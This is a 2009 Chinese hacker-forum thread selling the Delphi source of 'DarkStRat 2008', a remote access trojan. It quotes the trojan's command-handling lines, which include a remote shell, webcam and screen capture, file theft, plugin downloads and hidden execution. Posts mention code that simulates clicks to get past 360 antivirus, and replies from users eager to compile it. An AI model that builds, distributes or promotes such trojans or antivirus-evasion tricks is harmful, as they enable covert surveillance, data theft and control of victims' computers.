发新话题
打印

[Delphi] DarkStRat 2008 1.5 开源版(1AB了)

DarkStRat 2008 1.5 开源版(1AB了)

引用:
1.5版本开源,希望大家抱着学习去心态去看,毕竟这次开源的完整源码不会缺功能。1.x系列源码基本一样只是有细微bug修复,和2.x规范方面差了很多。但这份代码很适合初学者学习!


   http://www.darkst.com
   暗组技术论坛 New4[D.S.T]
   2009.03.17
引用:
          if Recibido = 'PING' then   //ping功能
          if Copy(Recibido, 1, 8)  = 'MAININFO' then  //上线标志
          if Recibido = 'INFO' then                   //系统信息
          if Copy(Recibido, 1, 8) = 'SERVIDOR' then      //服务端信息

          if TempStr = 'CERRAR' then         //断开连接
          if TempStr = 'DESINSTALAR' then   //卸载服务端
          if TempStr = 'REBOOT' then         //重启
          if TempStr = 'POWEROFF' then         //关机
          if Recibido='PROC' then            //进程列表
          if Copy(Recibido, 1,8) = 'KILLPROC' then          //结束进程
          if Copy(Recibido, 1,7) = 'WINPROC' then

          if Recibido = 'VERUNIDADES' then   //查看磁盘
          if Copy(Recibido, 1, 14) = 'LISTARARCHIVOS' then  //查看目录
          if Copy(Recibido, 1, 4) = 'EXEC' then            //远程打开
          if Copy(Recibido, 1, 6) = 'OCULTO' then       //隐藏方式
          if Copy(Recibido, 1, 7) = 'DELFILE' then        //删除文件
          if Copy(Recibido, 1, 9) = 'DELFOLDER' then    //删除文件夹
          if Copy(Recibido, 1, 6) = 'RENAME' then       //重新命名
          if Copy(Recibido, 1, 5) = 'MKDIR' then       //新建目录


          if Copy(recibido, 1, 7) = 'OPENURL' then     //打开网址
          if Copy(recibido, 1, 7) = 'DllMAIN' then     //插件管理模块
            if Copy(recibido, 1, 1) = '1' then   //启用
            if Copy(recibido, 1, 1) = '2' then   //停用并删除
            if Copy(recibido, 1, 1) = '3' then   //下载插件
            if Copy(recibido, 1, 1) = '4' then   //信息

          if Copy(Recibido, 1, 12) = 'HTTPDOWNLOAD' then  //Http下载操作
          if copy(Recibido,1,6) = 'MOUSEP' then            //屏幕监视-鼠标控制
          if Copy(Recibido, 1, 9) = 'CAPSCREEN' then         //屏幕查看
          if Copy(recibido,1,8) = 'CAMBIOID' then              //修改备注信息
          if Copy(recibido,1,13) = 'LISTARWEBCAMS' then        //视频
          if Copy(recibido,1,13) = 'CAPTURA WEBCAM' then      //抓取视频

          if Pos('GETFILE|', Recibido) = 1 then             //接收文件
          if Pos('RESUMETRANSFER|', Recibido) = 1 then     //传输文件
          if Pos('SENDFILE|', Recibido) = 1 then           //发送文件

          if Pos('SHELL|', Recibido) = 1 then             //超级终端 远程Shell
论坛内部既然还有人免费发,我现在就象征性收1AB下载留个名。
附件: 您所在的用户组无法下载或查看附件
本帖最近评分记录
  • Anfly 暗币 +5 免费的那份是我发的 2009-6-12 06:24
  • clover 暗币 +10 2009-3-18 19:36
  • 共享教父 威望 +2 共享精神哇 2009-3-17 22:04
  • 共享教父 暗币 +10 共享精神哇 2009-3-17 22:04
宁缺毋滥

心专十年,功必成.

点击这里给我发消息
这些对于现在的我来说还是看天书呢!!需要学习的太多了!!
学习技术前先学做人!
本人只搞免杀!  
命令列表是在2.5版本的时候整理的,多了个2.5版本的插件管理命令……

内容和之前开源版本区别:增加服务端代码+屏幕监控+摄像头监控+配置生成器+配置加密+配置资源读写+早期360安全卫士模拟点击代码
宁缺毋滥

心专十年,功必成.

点击这里给我发消息
额 貌似太贵了点点。。。俺系穷淫  买不起  顺便可以问下是什么编写的么?

[ 本帖最后由 hokins 于 2009-3-17 22:00 编辑 ]
额~为啥不是VC呢~~~
蓬山杳/不如怜取眼前人……
我要是有钱 一定去买了 哎 等以后再说吧
下了 收藏 编译下玩玩 O(∩_∩)O~
弱弱的问一下,DarkStRat 和Dark  这2个有什么区别?
义无反顾的购买了,超级感谢
学无止尽
,,,4哥又开源 发个 DRAT的嘛.
貌似 贵了点、  买不起啊 等等谁免费发 吧
笑看云卷云舒  静观花开花落
不会吧  会这么好 发 完整的
每次都是 BUS 不能编译的 没暗币啊 .
下次再来搞定你,最近忙死了
努力不一定会成功
放弃则一定会失败
哈哈 虽然不懂 但是先收下了。现在很多老的东西很有价值了,哈哈(对菜鸟而言)
支持开源,貌似 贵了点。买不起
好贵.俺买不起啊,能不能变成5ab的说,这样就哟很多人可以买了
老四 我爱死你了!
太感谢了  建议提高点AB  不然就会像1.0那样到处都是
呵呵。。。卖的很贵呀
钱收的有点高了哈。。我都没有那么多钱
发新话题
最近访问的版块